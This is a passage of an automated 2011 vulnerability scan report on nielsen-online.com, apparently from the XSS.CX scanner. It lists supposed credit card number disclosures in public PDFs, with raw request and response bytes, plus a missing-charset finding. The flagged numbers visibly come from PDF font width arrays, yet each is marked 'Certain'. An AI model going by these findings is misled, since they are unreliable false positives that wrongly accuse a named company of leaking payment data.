/Type1/FontDescriptor 48 0 R/LastChar 120/Widths[278 0 0 0 0 0 0 0 0 0 0 0 278 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 778 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 500 556 500 556 556 0 556 556 222 0 0 0 889 556 556 556 0 333 500 333 556 500 833 500]/BaseFont/NANOHC+Univers-Light/FirstChar 32/Encoding/WinAnsiEncoding/Type/Font>
...[SNIP]...

9.4. http://www.nielsen-online.com/downloads/au/MarketIntelligence_AU.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/downloads/au/MarketIntelligence_AU.pdf

Issue detail

The following credit card number was disclosed in the response:

5002785005002780

Request

GET /downloads/au/MarketIntelligence_AU.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:30 GMT
ETag: W/"498330-1186428084000"
Last-Modified: Mon, 06 Aug 2007 19:21:24 GMT
Content-Type: application/pdf
Content-Length: 498330
Vary: Accept-Encoding
Connection: close

%PDF-1.5%....
1 0 obj<</S/D>>endobj2 0 obj<</Nums[0 1 0 R]>>endobj3 0 obj<</Count 2/Kids[9 0 R 37 0 R]/Type/Pages>>endobj4 0 obj<</ModDate(D:20061220083232+11'00')/CreationDate(D:2006122008303
...[SNIP]...
1/FontDescriptor 19 0 R/Widths[222 0 0 0 0 0 0 0 0 0 0 0 222 0 222 278 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 611 0 556 0 0 444 0 0 278 0 0 0 833 667 0 0 0 556 0 500 0 0 0 0 0 0 0 0 0 0 0 0 500 500 500 500 500 278 500 500 278 0 500 278 722 500 500 500 500 333 444 278 500 444 778 0 444 0 0 0 0 0 222 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222 0 0 222 0 222 222 0 0 222 222 222
...[SNIP]...

9.5. http://www.nielsen-online.com/downloads/au/NetView_AU.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/downloads/au/NetView_AU.pdf

Issue detail

The following credit card numbers were disclosed in the response:

4440000000000000
5000556000000000
5004446116112780

Request

GET /downloads/au/NetView_AU.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:29 GMT
ETag: W/"926153-1186428136000"
Last-Modified: Mon, 06 Aug 2007 19:22:16 GMT
Content-Type: application/pdf
Content-Length: 926153
Vary: Accept-Encoding
Connection: close

%PDF-1.5%....
1 0 obj<</Length 1253/Filter/FlateDecode/Type/EmbeddedFile>>stream
H..W.o.8.~._.........J.R..e..,I.{...$.......r.......J.U.&.7....L....i^..x|...PD..%.dA......9... ...m...D...|..#..
...[SNIP]...
oding/BaseFont/COGGAN+Univers-CondensedBold/FirstChar 32/LastChar 121/Subtype/Type1/FontDescriptor 20 0 R/Widths[222 0 0 0 0 0 0 0 0 0 0 0 222 0 222 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 611 611 556 611 500 444 611 611 278 0 556 444 833 667 611 556 0 556 556 500 611 556 889 0 556 0 0 0 0 0 0 0 500 500 500 500 500 278 500 0 278 0 0 278 722 500 500 500 0 333 444 278 500 444 778 0 444]>
...[SNIP]...
0 0 0 0 0 0 611 0 556 611 500 0 0 0 278 0 0 444 833 667 611 556 0 556 556 500 611 556 0 0 0 0 0 0 0 0 0 0 500 500 500 500 500 278 500 500 222 0 444 222 722 500 500 500 500 333 444 278 500 444 722 444 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222]>
...[SNIP]...
tChar 32/LastChar 146/Subtype/Type1/FontDescriptor 20 0 R/Widths[222 0 0 0 0 0 0 0 0 0 0 0 0 333 222 278 0 0 0 0 0 0 0 0 0 0 222 0 0 0 0 0 0 611 0 556 611 500 444 0 0 0 0 0 444 833 667 0 556 0 556 556 500 0 556 0 0 0 0 0 0 0 0 0 0 500 500 500 500 500 278 500 500 278 0 0 278 722 500 500 500 0 333 444 278 500 444 778 0 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222]>
...[SNIP]...
</Type/Font/Encoding/WinAnsiEncoding/BaseFont/COGMAM+Univers-Condensed/FirstChar 32/LastChar 121/Subtype/Type1/FontDescriptor 26 0 R/Widths[222 0 0 0 0 0 0 0 0 0 0 0 222 333 222 0 444 444 444 444 0 0 0 0 0 0 0 0 0 0 0 0 0 611 0 556 611 500 444 0 0 0 0 556 0 833 667 611 0 0 556 556 500 611 556 0 0 0 0 0 0 0 0 0 0 500 500 500 500 500 278 500 500 222 222 444 222 722 500 500 500 500 333 444 278 500 444 722 444 444]>
...[SNIP]...

9.6. http://www.nielsen-online.com/downloads/au/SiteCensus_Streaming_AU.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/downloads/au/SiteCensus_Streaming_AU.pdf

Issue detail

The following credit card number was disclosed in the response:

5560556556500611

Request

GET /downloads/au/SiteCensus_Streaming_AU.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:28 GMT
ETag: W/"308241-1175533956000"
Last-Modified: Mon, 02 Apr 2007 17:12:36 GMT
Content-Type: application/pdf
Content-Length: 308241
Vary: Accept-Encoding
Connection: close

%PDF-1.4%....
10 0 obj <</Linearized 1/L 308241/O 13/E 299680/N 1/T 307994/H [ 1216 270]>>endobj
xref
10 46
0000000016 00000 n
0000001486 00000 n
0000001576 00000 n
0000001616
...[SNIP]...
</Subtype/Type1/FontDescriptor 41 0 R/LastChar 146/Widths[222 0 0 0 0 0 0 0 0 0 0 0 222 0 222 278 0 0 0 0 0 0 0 0 0 0 222 0 0 0 0 0 0 611 611 556 611 500 444 611 0 278 0 0 444 833 667 611 556 0 556 556 500 611 556 0 0 556 0 0 0 0 0 0 0 500 500 500 500 500 278 500 500 278 0 500 278 722 500 500 500 500 333 444 278 500 444 778 0 444 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222]/BaseFont/DEGAHE+Univers-C
...[SNIP]...

9.7. http://www.nielsen-online.com/pr/OCR_mr-mar11_FINAL.pdf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/pr/OCR_mr-mar11_FINAL.pdf

Issue detail

The following credit card number was disclosed in the response:

4761941214952

Request

GET /pr/OCR_mr-mar11_FINAL.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:39 GMT
ETag: W/"78415-1299639976000"
Last-Modified: Wed, 09 Mar 2011 03:06:16 GMT
Content-Type: application/pdf
Content-Length: 78415
Vary: Accept-Encoding
Connection: close

%PDF-1.4%....
27 0 obj<</H[776 259]/Linearized 1/E 13124/L 78415/N 4/O 30/T 77828>>endobj
xref
27 24
0000000016 00000 n
0000001035 00000 n
0000000776 00000 n
0000001115
...[SNIP]...
</Type/FontDescriptor/FontFile2 4 0 R/FontBBox[-476 -194 1214 952]/FontName/IKLNPC+Calibri/Flags 4/StemV 80/CapHeight 625/XHeight 0/Ascent 750/Descent -250/ItalicAngle 0/FontFamily(Calibri)/FontStretch/Normal/FontWeight 400>
...[SNIP]...
</Type/FontDescriptor/FontFile2 14 0 R/FontBBox[-476 -194 1214 952]/FontName/IKLNPD+Calibri/Flags 32/StemV 80/CapHeight 625/XHeight 0/Ascent 750/Descent -250/ItalicAngle 0/FontFamily(Calibri)/FontStretch/Normal/FontWeight 400>
...[SNIP]...

9.8. http://www.nielsen-online.com/pr/election_mobile_wrap-sep10.pdf previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/pr/election_mobile_wrap-sep10.pdf

Issue detail

The following credit card numbers were disclosed in the response:

5007225005000000
5565565565562780

Request

GET /pr/election_mobile_wrap-sep10.pdf HTTP/1.1
Host: www.nielsen-online.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 15:16:40 GMT
ETag: W/"27951-1284035622000"
Last-Modified: Thu, 09 Sep 2010 12:33:42 GMT
Content-Type: application/pdf
Content-Length: 27951
Vary: Accept-Encoding
Connection: close

%PDF-1.4%....
15 0 obj<</H[736 203]/Linearized 1/E 12371/L 27951/N 2/O 18/T 27604>>endobj
xref
15 22
0000000016 00000 n
0000000939 00000 n
0000000736 00000 n
0000001019
...[SNIP]...
</Type/Font/Encoding/WinAnsiEncoding/BaseFont/ArialMT/FirstChar 32/LastChar 151/Subtype/TrueType/FontDescriptor 27 0 R/Widths[278 0 0 0 0 0 0 0 333 333 0 584 278 333 278 278 556 556 556 556 556 556 556 556 556 556 278 0 0 0 0 0 1015 667 667 722 722 667 611 0 722 278 500 0 556 833 722 0 0 0 0 667 611 722 0 0 0 667 0 0 0 0 0 0 0 556 556 500 556 556 278 556 556 222 222 500 222 833 556 556 556 556 333 500 278 556 500 722 500 500 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 222 333 333 0 0 1000]>
...[SNIP]...

10. HTML does not specify charset previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nielsen-online.com
Path:	/intlpage.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

Response

Report generated by XSS.CX at Fri Apr 29 12:41:19 CDT 2011.